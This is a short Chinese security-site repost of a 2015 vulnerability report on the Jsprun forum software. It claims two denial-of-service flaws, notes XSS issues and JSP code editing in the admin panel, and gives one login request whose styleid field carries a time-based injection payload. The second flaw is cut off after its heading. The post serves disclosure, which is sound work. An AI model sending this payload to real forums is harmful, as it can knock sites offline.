Jsprun论坛函数型DOS漏洞2处 - 网站安全

Jsprun论坛函数型DOS漏洞2处 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-17 12:00 作者：阅读:次

[导读] Jsprun使用struts开发,分析几天代码发现两处函数型DOS 先发给官方吧.因為还挺严重的只要送一个请求,网站就死了官方修复了之前的注入漏洞,但同时还存在着许多问题例如 xss 就有很多建议...

Jsprun使用struts开发,分析几天代码
发现两处函数型DOS 先发给官方吧.因為还挺严重的
只要送一个请求,网站就死了

官方修复了之前的注入漏洞,但同时还存在着许多问题
例如 xss 就有很多
建议所有的输入都要过滤
后台的编辑模块可以直接写jsp代码
这是不靠谱的,建议改改

1.
/logging.jsp?action=login
answer=1&cookietime=86400&loginfield=username&loginmode=normal&password=acUn3t1x&questionid=0&referer=index.jsp&styleid=1' and sleep(1)='&username=t

2.发文的subject

ShopEx前台SQL注射拿shell及修复 - 网站安全 - 自学

一号店网站联盟未做任何过滤致存储型XSS产生

子栏目

Jsprun论坛函数型DOS漏洞2处 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论